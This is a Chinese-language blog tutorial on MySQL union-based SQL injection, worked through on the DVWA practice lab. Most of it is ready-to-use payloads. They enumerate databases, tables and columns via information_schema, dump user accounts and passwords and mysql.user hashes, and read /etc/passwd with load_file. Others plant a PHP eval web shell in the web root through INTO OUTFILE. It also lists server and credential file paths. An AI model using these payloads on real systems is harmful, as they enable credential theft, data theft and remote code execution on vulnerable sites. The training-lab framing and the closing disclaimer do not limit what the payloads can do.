mysql 注入 表明,mysql注入

测试dvwa总结 :

1.判断一个数据库(php + MySQL )有注入点

2.遍历这个注入点所在的表的所有记录 .

3.查询当前数据库所在的表中有几个字段

通过利用内置函数,user(), database(), version() 得出连接数据库的用户和连接信息

通过利用内置函数,获取操作系统信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

(不是root权限,不能查询)

测试连接数据库权限 1' and ord(mid(user(),1,1))=114 -- 正常说明是root权限

查询mysql数据库,所有数据库名字:这里利用mysql默认的虚拟数据库infromation_scehma,该数据库存储了Mysql所有数据库和表以及字段的信息

1' and 1=2 union select 1,schema_name from information_schema.schemata --

8.找到跟管理员和密码相关的数据库,之后猜出表名,判断表名中是否存在 需要的字段,比如 username, password user, password.

9.根据字段爆出管理员账户和密码

MYSQL注入主要是利用她的一个虚拟库:information_schema

第一:爆出所有的数据库

在information_schema这个虚拟库里面有一张表是SCHEMATA 这张表里面这个字段 SCHEMA_NAME

里面存放当前所以数据库的名称

注入查询:

1' and 1=2 union select 1,schema_name from information_schema.schemata --

第二:爆出所有的表名

在information_schema这个虚拟库里面有一张表是TABLES 这张表里面有 数据库名 table_schema 和表名 table_name 这两个字段

里面存放当前数据库中所有表的名称

注入查询:

1' and 1=2 union select table_schema,table_name from information_schema.tables --

直接爆出表名和表名里面的字段,再根据自己的注入是哪个表名来确认

第三:爆出所有的字段

在information_schema这个虚拟库里面有一张表是COLUMNS 这张表里面 数据库名 table_schema 和表名 table_name 还有字段名column_name 这三个字段

此测试是dvwa上面的只有2个列所以查询只能是select 1,2 不能select 1,2,3...

1' and 1=2 union select table_schema,table_name from information_schema.columns --

1' and 1=2 union select column_name,table_name from information_schema.columns --

1' and 1=2 union select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' -- (perfect)

MYSQL 这个数据库存下的user表下的,host,user,password 字段存放了数据库的所有主机地址、帐号和密码

常用的函数

1:system_user() 系统用户名

2:user() 用户名

3:current_user 当前用户名

4:session_user()连接数据库的用户名

5:database() 数据库名

6:version() MYSQL数据库版本

7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数

8:@@datadir 读取数据库路径

9:@@basedir MYSQL 安装路径

10:@@version_compile_os 操作系统

database(),user(),version(), concat(), group_concat(),hex(),unhex() Load_file()

Unhex(hex(user()) into outfile

总结(精华):

1:确定字段:order by N

2:联合查询:union select

3:爆数据库:

concat(database(),0x3a,user(),0x3a,version()) //爆出数据库,用户信息,版本号

group_concat(schema_name) //爆出数据库

1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata -- //爆出所在的当前数据库名

1' and 1=2 union select 1,concat(database(),0x3a,user(),0x3a,version()) from information_schema.schemata -- //爆出数据库,用户信息,版本号

(perfect 可以实现跨库查询)

4:爆表

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --

guestbook,users --表

5:爆字段 (爆users表)

1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

and table_schema=database() --

user_id,first_name,last_name,user,password,avatar -- users表中的字段

在爆users表的时候将users转换为16进制 0x7573657273

6:爆内容

1' and 1=2 union select 1,group_concat(user_id,0x3a,user,0x3a,password) from users -- //全部爆出

1' and 1=2 union select 1,concat(user) from users limit 0,1 -- //一个一个爆

1' and 1=2 union select concat(user),concat(password) from users limit 0,1 -- //爆账号密码

0x3a 还原是 : (冒号)

7:利用Into outfile 导出一句话

利用条件:

1:首先要知道网站的物理路径。

2:网站目录要有写的权限。

3:数据库帐号权限要有 into outfile 的权限

4: 必须没有过滤单引号

条件:

1、知道站点物理路径

2、有足够大的权限(and (select count(*) from mysql.user)>0)

3、magic_quotes_gpc()=OFF 没有过虑单引号

select '<?php eval($_POST[cmd])?>' into outfile ‘物理路径'

1' and 1=2 union select 一句话HEX值 into outfile '路径'

1' and 1=2 union select '0x273C3F706870206576616C28245F504F53545B636D645D293F3E27' into outfile '/var/www/dvwa/cntf.php' --

dvwa 绝对路径 /var/www/dvwa/

如果有权限能够连接到数据库并且是root权限,那么可以直接在数据库上插入一句话

select 0x273C3F706870206576616C28245F504F53545B636D645D293F3E27 into outfile '/var/www/dvwa/cntf.php'

获取绝对路径方法:

执行phpinfo 读取apache配置文件 读取/etc/passwd 文件查看

通过include包含文件 来读取mysql连接数据库的帐号和密码

Windows iis6.0

c:\windows\system32\inetsrv\MetaBase.xml可以获取网站配置信息了

apache:

如果采用RPM包安装,安装路径应在 /etc/httpd目录下

apache配置文件:/etc/httpd/conf/httpd.conf

Apache模块路径:/usr/sbin/apachectl

web目录:/var/www/html

如果采用源代码安装,一般默认安装在/usr/local/apache2目录下

php:

如果采用RPM包安装,安装路径应在 /etc/目录下

php的配置文件:/etc/php.ini

如果采用源代码安装,一般默认安装在/usr/local/lib目录下

php配置文件: /usr/local/lib/php.ini

或/usr/local/php/etc/php.ini

mysql:

如果采用RPM包安装,安装路径应在/usr/share/mysql目录下

mysqldump文件位置:/usr/bin/mysqldump

mysqli配置文件:

/etc/my.cnf或/usr/share/mysql/my.cnf

mysql数据目录在/var/lib/mysql目录下

如果采用源代码安装,一般默认安装在/usr/local/mysql目录下

8:创建一张表插入一句话通过物理路径导出删除表

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES(<?php @eval($_POST[cmd])?>);

select cmd from a into outfile '/var/www/dvwa/lost.php' ;

Drop TABLE IF EXISTS a;

表 a 字段 cmd

9:权限大 -- 直接读取密码

1' and 1=2 union select * from mysql.user --

10:读文件

使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)

1' and 1=2 union select 1,load_file('/etc/passwd') --

1' and 1=2 union select 1,load_file('/etc/passwd')#

1' and 1=2 union select 1,load_file('/var/www/dvwa/1.txt')#

使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)

1' and 1=2 union select 1,load_file(‘c:\1.txt’) +- -+

或者

1' and 1=2 union select 1,load_file(‘c:/1.txt’) +- -+

免责申明:本人所撰写的文章,仅供学习和研究使用,请勿使用文中的技术或源码用于非法用途,任何人造成的任何负面影响,或触犯法律,与本人无关

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值